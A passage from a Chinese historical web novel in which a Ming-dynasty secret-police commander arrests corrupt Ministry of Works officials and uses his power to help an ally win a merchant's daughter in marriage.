现在看来,自己被抓的一点都不冤,甚至自己的这些同僚,都是被自己牵连的。 邵阳看着周围这些官员看着自己那冒火的眼神,顿时感觉瑟瑟发抖。 “今日不打你一顿,难解老夫心头之恨!” 李瓒说着走上前去,冲着邵阳就是一顿拳打脚踢,其他官员也不示弱,纷纷围了过去。 邵阳身子骨本来就虚,这些人的拳脚虽然不重,却也要了他半条命。 邵锡在一旁冷眼看着,他现在都恨不得上去补两脚,完全没心思替自己的这个废物儿子求情。 众人打了邵阳一顿,也算是发了邪火了。 “行了,别把他打死了。” 李瓒摆了摆手道。 这话一出,原本打的有些意犹未尽的那几人这才停手。 “也不能全怪他,那位回京了,这是要有一番动作,这件事只不过是个由头罢了。” 李瓒为官多年,看的清楚,倘若只是为了张大柱出气,只需要抓邵锡一家就行了,没必要牵连这么多。 既然把他们都抓了,这件事就不再是那么简单了。 其他人也不傻,听到这话也都很认同。 “看样子这是要拿我们工部开刀啊。” 另一个官员感慨道。 “这京城之中也不是他周衡器只手遮天,我等背后也都是有靠山的,岂能任由他北镇抚司拿捏?” 邵锡眼看着众人冷静了下来,这才说道。 刚才他根本不敢说话,生怕众人因为自己的儿子迁怒于自己。 “就是,李大人,你可是首辅大人的得意门生啊,首辅大人一句话,锦衣卫指挥使又如何?还不是得乖乖放人?” 另一个官员看着李瓒,满脸恭维道。 李瓒听到这话,勉强一笑。 倘若李瓒没有听过周楚的那些传言的话,恐怕也会这么想,但之前的内阁首辅杨廷和又如何?还不是被这位弄的致仕了? 自己的老师杨一清虽然是内阁首辅,但论权势,和当初的杨廷和比要差很多。 彼时的杨廷和在京城可谓是一手遮天了,但那又如何? 所以李瓒并不像其他人那般乐观。 杨一清正在府上喝着茶听着小妾给自己唱曲,管家进来了。 “老爷,工部侍郎的李大人的内人求见。” 管家恭敬道。 杨一清听到这话,冲着小妾摆了摆手。 “老爷,我先下去了。” 小妾说完这话,识趣的离开了。 “让她进来吧。” 杨一清虽然不清楚她一个妇道人家为何突然登门,却也清楚,如果不是急事,她一个妇道人家也不会如此不顾礼仪。 很快,李瓒的夫人来到了杨一清面前。 “见过首辅大人。” 李瓒的夫人行礼道。 “不用多礼,宗器是出什么事了吗?” 杨一清看着眼前夫人愁容满面的模样,问道。 宗器是李瓒的字。 “大人神机妙算,方才北镇抚司的人突然闯进了我们家,将宗器带走了。” 李瓒的夫人不敢隐瞒,如实回答道。 杨一清听到这话,先是一愣,随即恢复了淡定。 对于此事,杨一清并不意外,李瓒作为杨一清的学生,之前的工部侍郎被查处之后,杨一清就推荐李瓒补位,李瓒之前也很低调,所以陈万言乱来的时候没有被波及。 不过自从两年前周楚离京之后,这位工部侍郎就再也控制不住双手了,和一众同僚开始大捞特捞,毕竟工部的支出一向都是很可观的,随便经他们手,都能过一手油,更不用说他们有意思的去捞钱了。 这也导致这两年工部的支出越来越高,但实际上能真正花到实处的,却是少之又少。 对于这一点,杨一清看的清楚,曾经让工部尚书特意提点过自己的这个学生一两句。 但奈何李瓒当时捞钱捞红了眼,再加上周楚又久不在京城,不只是李瓒,很多其他官员都不把这位锦衣卫指挥使放在眼里了。 其他人不清楚,杨一清等人可是比谁都清楚周楚是什么脾气,杨一清更清楚,皇帝不是不清楚工部这些人的动作,只是东北开战,乌思藏开战,皇帝首先要保证的是大后方的稳定。 杨一清从来都清楚,李瓒这么捞下去,被清算是迟早的事。 如今的局势,和正德年间完全不同,正德年间,大家的俸禄都很低,养家都困难,而且皇帝对地方和官员的掌控力相对较弱,大家都捞钱,没人会管。 但自从江南和京城实行考成法以来,如今考成法已经逐步推行到整个大明了,所有官员的俸禄都得到了大大的提高,因为考成法和商税,很多官员甚至还能拿到不菲的提成。 这样的情形下,大家都很有钱,底线也就提高了许多,那些可贪可不贪的,都会三思而后行。 不是说都不贪了,但整体而言,贪污的比以前要少得多,所有人都要考虑一旦被抓之后,就会失去一切。 这种情况下,工部的这些官员反而成了一枝独秀,秃子头上的虱子,格外显眼。 杨一清很清楚,等周楚回京之后,恐怕第一时间就会清算他们。 事情和杨一清料想的差不多,对于周楚为何事先没有知会自己,杨一清甚至都没多想,杨一清很清楚,周楚这位锦衣卫指挥使,从来都只需要向皇帝负责,倘若和自己搅到一起,皇帝该睡不着觉了。 真到了那个时候,周楚完不完不清楚,杨一清很清楚,以自己现在的情况,肯定是被皇帝查办的。 “我知道了,我这就进宫,向陛下求情,至于陛下会不会网开一面,那就看命了,你也不要抱太大期望。” 杨一清叹了口气道。 “我早就和宗器说过,如今俸禄都这么高了,还是管不住自己手。” 杨一清有些恨铁不成钢道。 “宗器也是不得已,我们这么大一家子要养...” 李瓒的夫人哭哭啼啼道。 “这京城之中为官的,哪个不是一大家子要养?怎么?就你们家特殊?工部的俸银不说是六部之中最高的,那也是挑尖的,更何况经过工部的钱财,正常过一手那都是正常的,过一手就一手油,非要再伸手捞钱?” 杨一清不耐烦道。 眼看着杨一清发火了,李瓒的夫人也不敢哭了,用手帕擦了擦眼泪。 “大人说的是,都怪宗器太过贪心了。” “行了,你先回去吧,我去一趟皇宫。” 杨一清不耐烦的摆了摆手道。 这件事他还不能去找周楚,越找周楚,李瓒只会死的越快,只能去找皇帝求情,皇帝若肯网开一面,那李宗器就还有一条活路。 想到这里,杨一清看向了一旁的管家。 “备轿,去宫里。” 第337章 杨一清的情面,张家的谢礼,初六的情感遭遇 “石淙啊,你来找朕有什么事吗?” 御书房之中,嘉靖看到杨一清有些意外,在他的印象之中,这位内阁首辅自从当初被陈万言将手下的党羽清除的差不多了之后,就开始摆烂了。 平日里极少进宫来见自己,除非是有什么不得不来的大事。 “陛下,那工部侍郎李宗器是老臣的学生,他这两年在工部贪墨了朝廷不少钱财,罪该万死,老臣也时常提醒他,让他收敛贪财之心,但他却是听不进去,那工部众人,贪墨过甚,周大人看不过去了,就让北镇抚司把他们都抓了起来。” 杨一清组织了一下语言道。 都是千年的狐狸,杨一清很清楚,倘若自己说半句虚言,自己的这个学生也就没救了。 到了他们这个位置,唯有真心实意,让皇帝对自己这把老骨头生出一丝恻隐之心,才有希望救下李瓒。 嘉靖听到这话,顿时一愣。 他没想到杨一清如此坦率,对李瓒的罪行一点都不隐瞒,他看着眼前的这位老臣,如今的杨一清已经年过古稀,这几年为了朝廷,为了大明,也算是尽心尽力。 这两年周楚没在京城的时候,嘉靖其实着重盯着的就是杨一清,倘若杨一清不安分,嘉靖会第一时间将他按下去。 但杨一清好似认命了一般,这两年时间并未有任何不该有的动作。 此时杨一清说了这些话,表面是在痛斥李瓒的罪名,实际上就是来为他这个学生求一条生路的。 嘉靖看着眼前的这个老臣,倘若杨一清这几年贪心不足,继续搞党争,那么嘉靖想都不用想,直接就拒绝他了。 偏偏这位老臣对自己,对朝廷实心用事,甚至之前毛纪一案之中,还出了很大的力气,如今的朝堂之中,杨一清原本的那些学生所剩无几,李瓒就是其中一个。仦說Ф忟網 或许正是因为这个,即便李瓒不听自己的劝诫,杨一清也要救他。 人的年纪越大,就越顾念旧感情和以前认识的那些人。 “朕知道了,看在石淙你的面子上,朕会让衡器对李宗器从轻处置,不过他贪墨的那些钱财,却是需要上交的。” 嘉靖最终还是没忍心拒绝杨一清。 杨一清听到这话,当即就要跪在地上,叩谢皇恩,在嘉靖的示意下,被黄锦扶住了。 “你都这么一大把年纪了,不必搞这些虚礼,你也不容易。” 嘉靖叹了口气道。 “多谢陛下体谅老臣。” 杨一清满脸感动道。 周楚正在家中看书,黄锦突然到来,这让周楚有些意外。 “周大人,陛下口谕。” 黄锦看到周楚之后,说道。 “臣周楚接旨。” 周楚行礼道。 “杨应宁求到了朕这里,李宗器是他所剩不多的学生之一,杨应宁年纪大了,朕不好拒绝他,对李宗器你看着从轻处理,他贪墨的那些钱要让他一分不少的交上来。” 黄锦模仿着嘉靖的语气说道。 “臣领旨。” 周楚说道。 黄锦这才恢复了本来的模样,满脸笑容。 “周大人,这些都是从南洋和西洋送过来的好玩意,陛下之前没好好赏你。” 黄锦说完这话,他身后跟着的一群人将抬着的一个个箱子放了下来。 这一箱箱东西,周楚不用看也知道是来自东南亚和欧洲的一些稀奇玩意。 “多谢陛下赏赐。” 周楚说着打开箱子,随手拿了其中一块玛瑙,放在了黄锦手上。 “周大人,这太贵重了,咱家受不起。” 黄锦有些受宠若惊道。 在黄锦眼中,从未把自己和周楚放在同一个位置和级别上,自从入了京城,黄锦最尊重的人第一个是嘉靖,其次便是周楚了。 就连皇太后在黄锦心中都要排在周楚之后。 “不过是些玩意罢了,我这里最不缺的就是这些玩意和钱财,黄公公拿着便是。” 周楚有些责怪道。 黄锦听到这话,心中很是感动。 这京城之中,真正把他当人看的,一个是嘉靖,另一个是陆炳,还有就是眼前的周大人。 就连皇太后蒋氏,从来都只是把他当成一个奴才来看。 至于朝中的那些官员,之所以高看黄锦一眼,不过是因为黄锦的身份,黄锦清楚,那些人心里不知道怎么骂自己阉狗呢。 周楚都这么说了,黄锦也就不再推辞了,将这块玛瑙收了起来。 “咱家就不多留了,还要回去向陛下复命。” 黄锦对周楚行礼道。 黄锦说完这话,带着一群人浩浩荡荡地离开了周府。 “去把陆万山叫过来。” 周楚看向一旁的沈炼道。 很快,陆万山就一路小跑来到了周楚面前。 “大人,您有何吩咐?” 陆万山神情恭敬道。 按理来说,周楚应该去锦衣卫所上班的,不过不论是两年前还是现在,周楚早已习惯了在自己家处理锦衣卫事务,周府此时俨然成了锦衣卫的最高指挥处,对于周楚不去锦衣卫所值班,没人敢说什么。 皇帝都没意见,锦衣卫之中谁敢有意见? “陛下有口谕,对工部侍郎李宗器网开一面。” 周楚看着陆万山说道。 陆万山听到这话,有些拿不准该如何处置李瓒。 “那大人认为该如何处置这位工部侍郎?” 网开一面,从轻处置,都不过是官面上的话,这个网开到什么程度,从轻轻到什么程度,这才是关键所在。 “让他把贪墨的钱财都交上来,然后贬到地方上当个七品官,不能是主政的县令,看看哪里有什么没实权的官职。” 周楚一边喝着茶,一边风轻云淡道。 周楚很清楚,就算是贬官,也不能将李瓒这种人贬为主政一方的县令,李瓒这次被罚没了这么多财产,要是到了地方当县令,山高皇帝远,恐怕会想尽办法捞钱,那样的话,当地的百姓也就没了活路。 给他一个没实权的七品地方官,想捞钱也捞不了,如此一来,既完成了皇帝的旨意,也不会让百姓难过。 “不能这么白白放过他,让他做个表率,把该招的都招出来,如此一来,从轻处置也有了由头。” 周楚补充道。 “属下明白。” 陆万山跟着周楚做了很多事,对周楚的意思顿时心领神会。 陆万山离开周府之后,直奔昭狱而去。 “把李宗器带过来。” 进入昭狱之后,陆万山并没有去见李瓒,而是在昭狱门口,看着昭狱的狱卒道。 “是,大人。” 对昭狱的牢头和狱卒而言,陆万山就是他们头上的天,对于陆万山的话,他们丝毫不敢忤逆。 很快,李瓒就被一众狱卒带到了陆万山面前。 “陆大人,有何指教?” 李瓒此时倒也显得有些硬气,他大概认为自己没救了,才会如此硬气。 “李大人还真是硬气,原本本官还想给李大人一条明路的,不过看李大人这副模样,似乎不太需要。” 陆万山看着李瓒,冷笑道。 李瓒听到这话,脸色变了又变,很快脸上堆满了笑容。 “陆大人说的哪里的话?大人有何吩咐?” 李瓒有些谄媚道。 “李大人也是运气好,陛下特意下旨,对你从轻处置,想来是首辅大人为你求得情。” 陆万山说道。 李瓒听到这话,想起了杨一清那老态龙钟的模样,内心不禁有些愧疚。 “下官惭愧,还得麻烦他老人家。” 李瓒叹了口气道。 “不过从轻处置也有很多说法,陛下只是让从轻处置,至于如何处置,还在我们周大人一念之间,李大人明白吗?” 陆万山有些调侃的看着眼前的李瓒道。 “下官明白,下官一定配合大人,该交代的都交代。” 看到陆万山这副模样,李瓒哪还不明白锦衣卫让自己干什么,毕竟哪怕是从轻处置,也要有个由头才行。 “还算上道。” 陆万山点了点头,随后就离开了昭狱。 很快,北镇抚司负责刑讯的官员来到了昭狱之中。 “陆大人交代了,谁要是先交代,就可以从轻处置。” 一众工部的官员听到这话,全都硬气的别过头去,毕竟周楚没把他们单独关押起来,他们在一起,就会异常硬气。 当所有人都以为不会有人站出来的时候,李瓒站了起来。 “我要交代。” 其他官员听到这话,全都一脸不可置信地看向了李瓒。 另外一边,大柱的爹娘眼看着大柱打伤了这么多人,居然一点事都没有,也是满脸的不可置信。 “大柱,你现在的官职这么高了吗?” 大柱的爹看着大柱,仿佛重新认识自己的儿子一般。 大柱听到这话,摇了摇头。 “是周大哥在给我们撑腰,他让人把工部的那些官员抓了不少,主要就是抓邵锡,现在这些人都在昭狱之中呢。” 大柱说道。 “周大人是如何知道我们家的事的?” 张母满脸不解道。 大柱听到这话,有些无奈的笑了笑。 “这京城之中,没有什么事是能瞒得过周大哥的,他想知道什么,都可以知道。” 此时的大柱发现自己和父母之间沟通越来越困难,很多事他觉得理所当然的,张父张母都很难理解。 “那我们得备一份厚礼,好好谢谢周大人。” 张父说道。 “礼你们给我就行,我会带给周大哥,他现在公务繁忙,要处理工部那些官员,你们就不要去打扰他了。” 大柱说道。 “大柱说得对,我这就去备礼。” 张母说着就去了铺子后堂,恨不得将自己家的全部家当都拿出来送给周楚。 “娘,你这是干什么?周大哥什么都不缺,他的钱都没数,不缺我们这一点,你要送礼的话,送一些有心意的就行了。” 大柱看着张母大包小包的东西,有些无奈道。 “就是,周大哥家里的一颗夜明珠都能买我们家的铺子了,你送的这些东西,周大哥根本看不在眼里。” 一旁的二丫附和道。 “那我们该送什么呢?” 张母一脸忧愁道。 “爹我和你去打点野味,给周大哥就行,不必这么复杂,最好是熊,熊掌很美味。” 大柱说道。 “好,咱爷俩走一趟,好久没打猎了。” 张父听到这话,顿时来了精神。 周楚看着眼前的老虎和熊,陷入了沉默。 京城附近怎么会有老虎? “这是你们爷俩打的?” 周楚看着大柱,问道。 “我还叫了一些锦衣卫的兄弟帮忙,还有我爹弄的陷阱,不然还真打不过。” 大柱挠了挠头道。 周楚仔细看了看眼前老虎的尸体,对于老虎周楚也不懂,不过周楚估计眼前的老虎多半是华南虎。 历史上明清时期,大部分地方都有老虎,有些皇帝甚至还特意下诏书捕杀老虎。 现在看来这个记录并非虚言。 只是这老虎皮周楚不知道该如何处置,要是做成座椅坐垫,那未免有些山大王的气质。 不过无论是虎皮还是熊皮,在京城之中都是稀缺货,很多达官贵人都很稀罕这玩意。 “你找个人把虎皮和熊皮处理一下吧。” 周楚看着大柱说道。 虎皮和熊皮上的毛发都很坚硬,需要经过特殊处理。 “我爹就会处理,祖传的手艺。” 大柱嘿嘿一笑道。 “把熊掌炖了,去醉仙楼把我表叔还有初六叫过来,尝尝鲜,对了送一个熊掌去陆家。” 周楚看着春兰道。 春兰点了点头,开始有条不紊的安排人处理熊掌。 既然有老虎,自然不可能只吃熊掌,老虎身上全都是宝,这是一顿大餐。 “虎鞭给文心送过去,我看他这些天有些虚。” 周楚笑道。 很快,孙强和初六来到了周府。 孙强如同往常一般,沉稳干练,倒是初六,满脸心事。 “怎么?有心事?” 周楚看着初六,问道。 “别提了,这小子最近喜欢上一个富家小姐。” 孙强笑道。 初六听到这话,顿时羞的满脸通红,他虽然在赌场上大杀四方,但在情场上不过是个生瓜蛋子,一点经验都没有。 “还有这事?那家小姐喜欢他吗?”‘’ 周楚一听这话,顿时来了精神。 第338章 初六的遭遇,周楚的对策 初六每天的生活很稳定,基本都待在醉仙楼,现如今京城的各大赌场,见到初六全都像孙子一样,赌又赌不过,惹又惹不起。 之前有个不开眼的赌场想要教训一下初六,结果被突然冒出来的一群锦衣卫吓得直接跪了,跪在初六面前磕头如捣蒜。 自那以后,初六背后是锦衣卫的消息在各大赌场之间就流传了开来。 这些赌场倒也识趣,每年都会给初六送上不少钱财,权当保护费了。 当然,这钱初六也不白收,这些赌场一旦遇到了解决不了的老千,就会请初六镇场子。 于是初六就成了京城各大赌场的挂名暗灯,收了他们的钱,关键时刻为他们解决问题。 这笔买卖对各大赌场而言稳赚不赔,毕竟除了初六,偶尔也会冒出来一些千术高手,从赌场之中卷走不少钱。 和初六不同的是,这些人往往打一枪换一个地方,不像初六毫无顾忌。 当然,相对应的,锦衣卫也会经常通过初六在各大赌场打探消息,甚至安插暗探,对初六和锦衣卫而言,这更是一笔稳赚不赔的买卖。 初六长相很普通,属于放在人堆里毫不起眼的那种,如果好好打扮一下,倒也不至于这么普通,但作为老千,最忌讳的就是引人注意,这种长相是初六刻意为之的结果。 再加上初六明面上的身份就是醉仙楼的伙计,极为低调,谁也不知道,这个醉仙楼的伙计,如今已经存了近十万两白银了。 这还是初六对金钱没什么太大的欲望,在他看来,钱够花就行了,太多了反而不是好事。 那是七月底的一个夜里,初六正好帮一家赌档解决了一个手法很高明的老千,准备回家,却看到那几个老千从赌档出来之后,并没有立即离开,而是直奔另外一家富户人家而去了。 这让初六顿时来了兴致。 如今的初六虽然不怎么混蓝门,但是对蓝门的这些门道还是清楚的,这些人恐怕不只是盯着赌档,还在对其他人做局。 自那之后,初六就开始有意无意的开始留意这家人家,每日都会从他们门口路过。 这家人姓丁,家主叫丁俊,在京城也算个不大不小的商人,家底倒也算殷实。 这些信息都是初六找锦衣卫要的,对锦衣卫而言,京城之中没什么太大的秘密。 丁家有两儿一女,女儿叫丁兰,很快,初六就见到了丁家的这位千金。 丁兰长的不算顶漂亮的,但一颦一笑却正中初六的心尖上,自那之后,初六一日见不到丁兰,就觉得心里少了点什么。 直到丁家的家主丁俊,被那些老千算计的家破人亡,初六终于找到了机会,给丁家一家租了个住处,并且告知丁俊他被那些人做局了。 这话不止没让丁俊幡然醒悟,反而恼羞成怒,丁俊作为一个商人,他可以接受做生意失败,但绝对接受不了自己被骗的事实,他觉得初六是信口雌黄,胡说八道,不过是图谋他女儿的美色罢了。 不过生气归生气,他们一家子还得指望着初六,丁俊也只是说了几句不太好听的话,但心里却是憋着火的,他甚至觉得自己家家破人亡和初六有很大关系。 一个人一旦往阴暗处想另外一个人,那么他看这个人怎么都是不顺眼的。 这就是丁俊和初六之间的关系。 虽然丁俊和初六关系不好,但丁兰和初六之间的感情倒是进展很快,丁兰心地善良,不像丁俊那般对初六充满成见。 初六在他们一家最绝望的时候接济了他们,让原本陷入灰暗的丁兰看到了希望,再加上初六虽然没谈过什么感情,长相也一般,但身上少年感十足,完全不像京城其他的那些公子哥,给丁兰的感觉十分不一样。 丁俊一家看着自己的女儿和初六感情越来越深,却也不好阻拦,毕竟他们一家还要靠着初六,直到初六找到那些老千,反向做局将丁家的家产尽数赢了回来,将其交还给丁俊之后,丁俊一边不动声色的收下钱财,收完之后就翻脸了。 初六不帮他们找回来这些钱财还好,现在这么轻松就找回来了,这更让丁俊坚定了之前的想法,害他们一家的就是初六,为的就是他的女儿。 丁家一家拿回宅子之后,全都搬了回去,自那以后,初六想要再见到丁兰,难如登天,不只是丁俊阻止,丁家一家人都对初六没什么好脸色。 大多数人都是如此,丁家一家落难的时候,在他们眼中,初六是以施舍的姿态出现,这让素来衣食无忧的他们内心难以接受。 一旦再次有钱了,他们第一时间想的就是远离初六。 但丁兰对初六也已经情根深种,中间偷偷跑出来过两次,被丁家人发现之后,对她的看管更加严了。 甚至最近丁家已经开始为丁兰说媒了。 这让初六有些不知道该怎么办了,所以才会显得满脸心事。 “这事还不简单?” 周楚听完之后,似笑非笑地看着初六道。 “我早就说了,这都不算事,是这小子非要胡思乱想。” 一旁的孙强附和道。 “少爷有办法?” 初六听到这话,顿时满脸期望地看着周楚。 “说白了,他们一家看不上你,并不是真的觉得是你对他们家做了什么,而是看不上你的身份,你明面上的身份只是醉仙楼的一个伙计,倘若你是一个锦衣卫总旗,他们一家还敢用这种态度对你吗?” 周楚看着初六,有些恨铁不成钢道。 “就是,那丁俊不过是看你没什么身份背景,才敢如此对你,只要你有了身份,他丁家还不得满脸笑容地迎你进丁府?” 孙强说道。 “可是,他们不是觉得是我害了丁家吗?” 初六满脸不解道。 “要说你聪明,你比谁都聪明,这蓝门的手艺你练到了巅峰,要说你糊涂吧,你比谁都糊涂,他丁俊又不是傻子,怎么会看不明白呢?他只是不愿意承认自己很蠢罢了,你告诉他他一个商人被骗了,他能接受吗?他看你不顺眼,不是怀疑你什么,是看到你就想起自己被骗。” 周楚敲了敲初六的后脑勺说道。 “说白了,还是你的身份问题,你的身份如果只是醉仙楼的一个伙计,在他眼里,根本不用看你的脸色,他想如何对你,就如何对你。” 周楚补充道。 初六听到这话,顿时如同醍醐灌顶一般。 “原来如此,我说怎么感觉他从一开始就看我不顺眼呢。” “从明日起,你锦衣卫暗旗的身份转明。” 周楚说道。 初六听到这话,眼睛顿时亮了。 初六在锦衣卫一直都是有职务的,实际上不只是初六,孙强也是有的,他俩经营着醉仙楼,一直在为锦衣卫收集情报,两人在锦衣卫之中的职务都是总旗,不过一直都是锦衣卫的暗旗,没有对外表露过身份。 更何况初六本就是蓝门高手,特殊人才,锦衣卫之中有着各种特殊人才,初六这种自然是不可或缺的。 当然,初六的身份如果要转明,就得借助另一层身份,周楚的远房表弟,而不是以醉仙楼伙计的身份转明。 倘若以醉仙楼伙计的身份转明的话,很多人都要重新审视醉仙楼了。 但以周楚远房表弟的身份,直接安插进入锦衣卫,如此一来,可以看做周楚以权谋私,但不会有人因此联想到醉仙楼。 理由也是现成的,这不是要去丁家提亲嘛,身份不够可不行。 “你看,我早就和你说了,这都不算事,就你小子能被丁家为难住。” 孙强看着初六,满脸不屑道。 初六听到这话,不好意思地挠了挠头。 熊掌的做法很考究,各个熊掌之间也有很大的差别,最好吃的是右前掌,因为熊都是用右前掌掏蜂蜜,冬天的时候,熊的右前掌会存着很多蜂蜜,熊就靠舔右前掌过冬。 如此一来,右前掌不说被蜂蜜腌入味,但味道和其他几个熊掌是完全不同的。 “二哥,你把那虎鞭送给我是什么意思?我看上去很虚吗?” 陆炜此时来到了周楚面前,有些义愤填膺道。 “你不虚,把虎鞭还我,我正好炖着吃。” 周楚瞥了一眼陆炜道。 陆炜听到这话,表情一窒,他没想到周楚不按套路出牌,他来这里只是想证明自己不虚,但要让他把虎鞭还回去,他实在是不舍得。 实际上他最近确实感觉有些力不从心,这和他经常去教坊司有关。 “见天的往教坊司钻,你现在每天还练武吗?还起得来吗?” 周楚没好气道。 陆炜听到这话,愈发的不好意思了。 “我是不是和你说过,教坊司一个月去一次可以,你这见天的去,武也不练,书也读不进去了,再让我知道你去教坊司这么勤,我把你腿打断。” 周楚面容严肃道。 这两年多周楚不在京城,陆炜可谓是脱缰的野马,见天的往教坊司钻。 陆炜听到这话,看着周楚那严肃的神情,顿时被吓的不敢说话了。 “二哥放心,从今日起,我最多一个月去一次。” 陆炜急忙保证道。 “最好如此,马上就要乡试了,这次你要再考不中,你看叔父会不会饶了你,你以为你去教坊司瞒得过叔父和大哥的眼睛?” 周楚冷哼一声道。 周楚之所以送这个虎鞭给陆炜,可不是为了嘲讽陆炜的,眼看着乡试在即,陆炜要是这么下去,这次乡试很难考中,如今他的心思完全不在读书上面。 “乡试之前,不能出门,好好读书,不然腿给你打断!” 周楚厉声道。 陆炜听到这话,吓得浑身一哆嗦。 “二哥放心,我这就去读书。” 陆炜说着一路小跑离开了周府。 熊掌整整被炖了大半天,才被端上来,除了熊掌之外,还有很多其他菜。 “趁热吃吧。” 周楚说着拿起了筷子,开始大快朵颐。 初六和孙强也不客气,他们三人在一起的时候很是自在。 “我们三人很久没在一起喝酒了,今日好好喝一顿,明日就去那丁家。” 周楚说着端起了酒杯。 孙强和初六急忙端起酒杯陪了一杯。 三人都没有喝多,周楚每天有太多事要处理,即便不忙,周楚也不敢随意喝醉。 作为锦衣卫指挥使,不知道有多少人盯着自己,这一点周楚还是清楚的。 初六也没喝醉,因为他心里装着事。 孙强明日还需要经营醉仙楼,也不敢喝醉。 “今时今日,却不如往年往日,以前我们还可以喝醉。” 周楚有些无奈道。 初六和孙强听到这话,互相对视了一眼,什么都没说。 他们很清楚,周楚只是想说一些话,并不需要他们应和。 第二天一早,京城之中,一个消息不胫而走。 原本醉仙楼的那个伙计,叫初六的,居然是锦衣卫指挥使周大人的远房表弟。 周大人直接将他提拔为锦衣卫总旗。 为此锦衣卫还做足了排场。 “不都说周大人铁面无私吗?怎么会这么做?” 京城的一个百姓满脸不解的问身边的人道。 “可以了,周大人为官这么多年,可曾听说过他安排过其他人?周大人的这个远房表弟在醉仙楼干了很多年了,我听说前些日子,这位喜欢上一位富家小姐,但那家人嫌弃他身份低微,如果你是周大人,你该怎么做?” 另外一个人说道。 “还有这事?不过周大人的这位表弟我倒是听说过,确实在醉仙楼干了很多年了,我要是有周大人这样的亲戚,恐怕一天得求他十趟。” “谁说不是呢?周大人已经够大公无私的了,锦衣卫本就是周大人和陛下说了算,安排个人进去真不算什么,又不是需要科举的官员选拔。” “是啊,周大人看到自己的表弟受辱,想来也是十分难受的。” 其他人纷纷附和道。 “什么?那个初六是锦衣卫指挥使周大人的表弟?” 丁府之中,丁俊听到这个消息,手中的茶杯都拿不住了,直接掉在了地上。 “完了完了,我们一家对他那副态度,他要是想秋后算账.....” 丁俊的大儿子此时如同热锅上的蚂蚁一般,来回踱步。 第339章 初六的声势,认怂的丁俊,周楚的计划 自古民不与官斗,丁俊不过是一介商人,就算在商人之中也不是最顶尖的,比上不足比下有余的那种。 别说如今的初六明面上的身份是锦衣卫总旗,背靠周楚这个锦衣卫指挥使了。 即便是最普通的锦衣卫,倘若丁俊没有什么靠山的话,也不是他们一家得罪得起的。 “见过李大人。” 初六穿着锦衣卫的官服来到丁府的时候,丁俊率先向初六行礼。 初六的爹姓李,他也就跟着姓李了。 “丁老爷,现在你还觉得是本官害了你们一家吗?” 初六看着为首的丁俊,问道。 丁俊听到这话,冷汗都下来了,他原本以为初六不过是醉仙楼的一个伙计,论身份地位无论如何都没办法和自己家女儿相提并论的。 实际上他很清楚,骗他们家钱财的不可能是初六,只是他不愿意承认自己被骗了,初六又当着他的面点破了他被骗的事实,还帮他追回了家产,这无疑是在打他的脸。 在他看来,一个醉仙楼的伙计罢了,即便是有些手段,但论身份地位和自己家也是门不当户不对,无论如何都配不上自己的女儿。 丁俊可还指望着自己的女儿高攀一户好人家,如此一来对他以后的生意只有好处,没有坏处。 实际上丁俊夫妇向来重男轻女,不只是他们,这个时代的大多数人家都是重男轻女的,虽说丁兰从小到大没吃过什么亏,他们夫妇看似也很疼爱这个女儿。 但丁俊心里从来都没把这个女儿和自己的两个儿子画等号,在丁俊看来,自己的这个女儿将来嫁给谁,还不是由自己说了算。 在丁俊眼里,丁兰最好是能嫁到工部的某个官员家里。 这两年京城之中很多商人都靠着做工部的生意发了财,这让丁俊看的眼红,却苦于没有门路。 最近他多方打听之下,听说工部的一个六品官家中有个儿子到了谈婚论嫁的年纪,这让他起了心思。 正是因此,他才不让丁兰见初六,他生怕初六坏了自己的好事。 哪怕此时丁俊知道了初六的身份,哪怕此时初六身为锦衣卫总旗,丁俊仍然不想让自己的女儿嫁给初六。 丁兰嫁给初六,对丁俊而言没什么好处,左右是已经将初六得罪了,哪怕有了这个锦衣卫女婿,丁俊也明白自己恐怕是沾不上什么光。 “兰兰呢?” 初六看了一圈,发现没有丁兰,有些疑惑道。 “不知大人找小女所为何事?男女授受不亲,大人有事和我说便可。” 丁俊硬着头皮道。 初六听到这话,顿时有些无语,他怎么都没想到,都到了这个地步了,丁俊还这般做派。 不过在初六眼中,这毕竟是他未来的老岳丈,也不好过于得罪。 初六不好得罪,跟着初六来的沈炼可没有这个顾忌。 周楚自然是不会来的,以周楚的身份,来丁家过于抬举他们了,但周楚又怕很多话初六抹不开面去说,特意让沈炼跟着一起来了。 昨天得知初六的事之后,周楚就让锦衣卫将丁家的所有资料,事无巨细的全都调了出来。 “丁老爷看不上初六,是不是还想着让贵千金嫁给工部的吴大人?” 沈炼冷笑道。 “这位大人是?” 丁俊看着沈炼,沈炼此时穿的是锦衣卫百户的衣服。 “在下沈炼,周大人的护卫。” 沈炼说道。 丁俊一听这话,冷汗都下来了,沈炼在京城之中的名声很响,那惊人的武力值早就传遍京城了。 丁俊怎么都没想到,周大人会派这位前来。 不过事已至此,丁俊也只能硬着头皮上了。 “小人见过沈大人,不过兰儿的嫁给谁,自然要听父母之命媒妁之言。” 丁俊这话的言外之意再明显不过,即便你沈炼是锦衣卫百户,即便是锦衣卫指挥使的护卫,也管不到我家女儿嫁给谁吧? 沈炼听到这话,脸上不屑的表情愈发明显。 “丁老爷要不要让人去问一问呢?如今那工部的官员,包括你的这位吴大人,十几个都在北镇抚司的昭狱之中,他们都是秋后的蚂蚱,自顾不暇了,丁老爷还想着做工部的生意呢?” 沈炼的话如同一根尖刺,刺入了丁俊的心脏之中,原本还硬撑着的丁俊,听到这话脸色大变。 “丁老爷,你是不是对锦衣卫有什么误解?你想攀附的靠山,在我们锦衣卫眼里,不过是一盘菜罢了,我们锦衣卫是不能给你带来什么生意,但我们可以让你在京城之中没有活路。” 跟在初六身后的另一个锦衣卫百户补充道。 这话沈炼说不出口,但他说着却是毫无顾忌。 丁俊听到这话,脸色变了又变,这话已经是赤裸裸的威胁了,既然这个锦衣卫百户能说出这话,就代表锦衣卫绝对做得到。 丁俊很清楚,锦衣卫要弄死自己,跟捏死一只蚂蚁差不多,之前他之所以敢这么硬气顶着初六,就是因为他自认为拿捏住了初六的为人,即便自己不同意这门婚事,初六也不会因此为难自己。 正所谓君子欺之以方,就是这个道理。 只是他怎么都没想到,初六或许不会计较,但不代表锦衣卫或者背后的周楚不会计较。 对于丁俊这种善于钻营的小人,你和他讲道理是没用的,小人最怕的就是不讲道理的,偏偏锦衣卫就是京城之中最不需要讲道理的。 “去把兰儿叫过来吧。” 丁俊瞬间就想明白了,几乎没什么犹豫。 倘若这件事只是他家和初六之间的事,他还有操作空间。 但显然这件事已经上升到了他们家和锦衣卫之间的事了,自己倘若再拒绝,丁俊都不敢想自己这一家的下场。 很快,丁兰就来到了众人面前。 